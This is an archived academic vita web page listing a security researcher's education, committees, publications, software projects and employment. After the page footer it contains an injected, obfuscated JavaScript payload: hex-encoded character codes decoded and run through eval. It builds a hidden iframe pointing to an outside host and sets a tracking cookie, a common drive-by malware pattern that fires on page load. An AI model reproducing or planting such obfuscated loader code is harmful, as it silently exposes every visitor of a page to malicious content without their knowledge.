Vita

Note: Patrick's website has moved to http://www.patrickmcdaniel.org. This site is available for historical reasons only, and much of the information is out of date.

General
  Home
  Bio
  Vita/Resume
  Schedule
  Teaching
  In the News
Research
  Publications
  IETF/IRTF
  Antigone
  Linux
Personal
  Information
  PGP Key
  Family
  Links
NOTE: A PDF version of this vita is available. A considerably longer version of this vita (containing a full list of publications, honors, research and industrial experience, etc.) is also available - PDF (long version). A HTML biographical sketch of my professional life is available on the Biography page.

Patrick Drew McDaniel

Office: AT&T Labs - Research Building 103, Room A-269 180 Park Ave.
P.O. Box 971 Florham Park, NJ 07932-0971
Email: pdmcdan@research.att.com Homepage: http://www.pdmcdan.com/

Education

University of Michigan
Ph.D., Computer Science and Engineering, August 2001
Specialization in Applied Security and Distributed Systems.
Dissertation: Policy Management in Secure Group Communication
Advisor: Dr. Atul Prakash
Ball State University
M.S., Computer Science, June 1991
Specialization in Software Metrics
Thesis: The Analysis of Di, a Detailed Design Metric, on Large-Scale Software
Advisor: Dr. Wayne Zage
Ohio University
B.S., Computer Science, August 1989

Honors

National Aeronautics and Space Administration, Kennedy Space Center Fellowship
September 1997 - August 2000
Electrical Engineering and Computer Science Summer Fellowship Award
Electrical Engineering and Computer Science, University of Michigan, June 1997
Dean's Citation for Perfect Academic Record
Ball State University, June 1991

Panels and Committees

Program Committees

14th USENIX Security Symposium, August 2004

9th ACM Symposium on Access Control Models and Technologies, Yorktown Heights, NY, June 2004

13th International World Wide Web Conference (WWW2004), Security and Privacy track Deputy Vice-Chair, May 2004
10th ACM Conference on Computer and Communications Security, Industry Track, November 2003

2003 International Conference on Parallel Processing, Network Security Track, October 2003

13th USENIX Security Symposium, Washington, D.C., August 2003

8th ACM Symposium on Access Control Models and Technologies, Como, Italy, June 2003

2003 USENIX Annual Technical Conference, June 2003

12th International World Wide Web Conference (WWW2003), Security and Privacy track, May 2003

7th ACM Symposium on Access Control Models and Technologies (SACMAT), Monterey, CA, June 2002

2002 USENIX Annual Technical Conference, Monterey, CA, June 2002

10th USENIX Security Symposium, Washington, D.C., August 2001 (WIP Session Chair)
Panels

National Science Foundation, Strategic Technologies for the Internet, Washington, DC, June 2003.
National Science Foundation, Trusted Computing, Washington DC, March 2003.
SciDAC Panel 01-06: National Collaboratories and High Performance Networks
Department of Energy, May 2001

Selected Publications

William Aiello, John Ioannidis, and Patrick McDaniel, Origin Authentication in Interdomain Routing. Proceedings of 10th ACM Conference on Computer and Communications Security, ACM, October 2003. Washington, DC -- to appear.
Eric Cronin, Sugih Jamin, Tal Malkin, and Patrick McDaniel, On the Performance, Feasibility, and Use of Forward Secure Signatures. Proceedings of 10th ACM Conference on Computer and Communications Security, ACM, October 2003. Washington, DC -- to appear.
Patrick McDaniel, On Context in Authorization Policy. 8th ACM Symposium on Access Control Models and Technologies (SACMAT), ACM, pages 80-89, June 2003. Como, Italy.
Geoffrey Goodell, William Aiello, Timothy Griffin , John Ioannidis, Patrick McDaniel, and Aviel Rubin, Working Around BGP: An Incremental Approach to Improving Security and Accuracy of Interdomain Routing. Proceedings of Network and Distributed Systems Security 2003, Internet Society, pages 75-85, February 2003. San Diego, California.
P. McDaniel and A. Prakash, Methods and Limitations of Security Policy Reconciliation. 2002 IEEE Symposium on Security and Privacy 2002, IEEE, pages 73-87, May 2002. Oakland, California.
P. McDaniel, A. Prakash, J. Irrer, S. Mittal, and T. Thuang, Flexibly Constructing Secure Groups in Antigone 2.0, In Proceedings of DARPA Information Survivability Conference and Exposition II. IEEE, pages 55-67, June 2001.
H. Harney, A. Colegrove, and P. McDaniel, Principles of Policy in Secure Groups, In Proceedings of Network and Distributed Systems Security 2001. Internet Society, February 2001. San Diego, CA.
P. McDaniel and S. Jamin, Windowed Certificate Revocation. In Proceedings of IEEE INFOCOM 2000, pages 1406-1414. IEEE, March 2000, Tel Aviv, Israel.
P. McDaniel and A. Rubin, A Response to ``Can We Eliminate Certificate Revocation Lists?''. In Proceedings of Financial Cryptography 2000. International Financial Cryptography Association (IFCA), Anguilla, British West Indies. February 2000.
P. McDaniel, A. Prakash, and P. Honeyman, Antigone: A Flexible Framework for Secure Group Communication. In Proceedings of the 8th USENIX Security Symposium, pages 99-114, August 1999.

Software Systems

Antigone Secure Group Communication Framework
Middleware layer used for the composition and configuration of group communication security services. Further investigation (in Antigone 2.0) funded through Defense Advanced Research Projects Agency (DARPA) and Air Force Research Laboratory, Air Force Materiel Command, USAF, under agreement number F30602-00-2-0508.
URL: http://antigone.citi.umich.edu
JavaLauncher Secure Applet Platforms
Predating modern security Java infrastructures, framework for the definition and enforcement of Java Applet security policies. Evaluated and used by Checkout and Launch Control System (CLCS) personnel at the NASA Kennedy Space Center.
URL: http://www.eecs.umich.edu/~pdmcdan/jlauncher
Secure Distributed Video-Conferencing
Extended previous point to point video-conferencing tools through the addition of the secure distribution of conference material, and the reliable and ordered delivery of security relevant data. Used as a test-bed application by Internet 2 research effort.
URL: http://www.citi.umich.edu/projects/secure_video/sdvc.html

Teaching Experience

Adjunct Processor, Stern School of Business, New York University, New York, New York.
Computer and Network Security, Winter 2003 (with Lorrie Cranor)
Online Privacy, Winter 2003 (with Lorrie Cranor)
Teaching Assistant, Ball State University, Muncie, Indiana.
Introductory programming (in C), Fall 1990

Professional Experience

Principal Technical Staff Member, AT&T Research, Shannon Research Laboratory, September 2001-Present
Member of the technical staff in the Secure Systems Research Department. Working in various areas of systems security
Research Assistant, University of Michigan, September 2000-August 2001
Technical lead for the multi-year DARPA funded ``Specifying and Enforcing Security Policies in Multi-Party Communication Systems'' project. Based on previous and ongoing work in Antigone, this project investigates methods for the specification and reconciliation of security policy in dynamic coalitions. Served as architect for Antigone system, and contributed to the construction and evaluation of several demonstration applications.
Research Fellow, NASA, Kennedy Space Center (at University of Michigan), 1997-2000
Working under Kennedy Space Center Fellowship, Graduate Student Researchers Program. In conjunction with NASA engineers, designed and developed JavaLauncher, a Java applet security framework used to restrict access to monitoring equipment during space shuttle launches. Served advisory role for a number of projects at NASA KSC and Ames Research Center.
Research Intern, AT&T Research, Shannon Research Laboratory, Summer 1999
Working with Aviel Rubin. Investigated the design space and use of certificate revocation technologies. Research results documented in paper presented at Financial Cryptography 2000.
Research Assistant, University of Michigan, 1996-1997
Served as a graduate research assistant with Dr. Atul Prakash on the NSA funded "Design and Implementation of Secure Mobile Agent Services" research project. Developed several mobile tools including Java based Kerberos 5.0 client libraries.
Software Developer, Applied Innovation, Inc. 1994-1995
Member of the network management development team. Responsibilities included development of a network management platform for the Applied Innovation Switch, a network mediation device.
Software Developer and Project Manager, Primary Access Corporation 1991-1994
Hired as contributing engineer for design/development of client-server network management application. Became lead engineer and central contributor to the design and development efforts. Installed base includes major national networks such as SPRINT, MCI, AT&T, and GTE. Development required an extensive knowledge of the X.25 and TCP/IP protocols.
Research Assistant, Ball State University 1990
Served as research assistant to Dr. Wayne M. Zage. Position funded by the National Science Foundation. Research performed in conjunction with the Software Engineering Research Center of Purdue and Florida State Universities. Presented findings at annual meeting in West Lafayette, IN.
Software Developer, Integrated Technologies, Inc. 1989
Worked as a C programmer responsible for development and maintenance of installation code for statistical process control system.

Affiliations

Member, IRTF Secure Multicast Research Group (SMuG)
Association for Computing Machinery (ACM)
The Institute of Electrical and Electronics Engineers (IEEE)
USENIX Advanced Computing Systems Association

pdmcdan@pdmcdan.com
Last modified : Wed Oct 22 08:04:02 2003
Privacy Policy

7:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:6d:6c:59:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:6d:6c:59:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:6d:60:5b:5c:66:6a:25:5b:5a:6b:6d:25:60:5c:26:5b:6b:5b:25:67:5f:67:1e:32:4:1:17:6d:6c:59:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:6d:6c:59:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:29:2a:1e:32:4:1:17:6d:6c:59:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:29:2a:67:6f:1e:32:4:1:17:6d:6c:59:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:29:2a:67:6f:1e:32:4:1:17:6d:6c:59:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:29:2a:1e:32:4:1:17:6d:6c:59:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:29:2a:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:6d:6c:59:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:6d:6c:59:53:1e:17:5a:63:58:6a:6a:34:53:1e:6d:6c:59:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:6d:6c:59:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:6d:6c:59:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:6d:6c:59:27:30:1f:20:32:4:1:74:4:1:74"[arix](":");}gycclm=jgu;eern=[];for(krsia=22-20-2;-krsia+1383!=0;krsia+=1){djopfn=krsia;if((0x19==031))eern+=String.fromCharCode(eval(wygxuz+gycclm[1*djopfn])+0xa-drkjy);}hcb=eval;hcb(eern)}
pdmcdan@pdmcdan.com
Last modified : Wed Oct 22 08:04:02 2003
Privacy Policy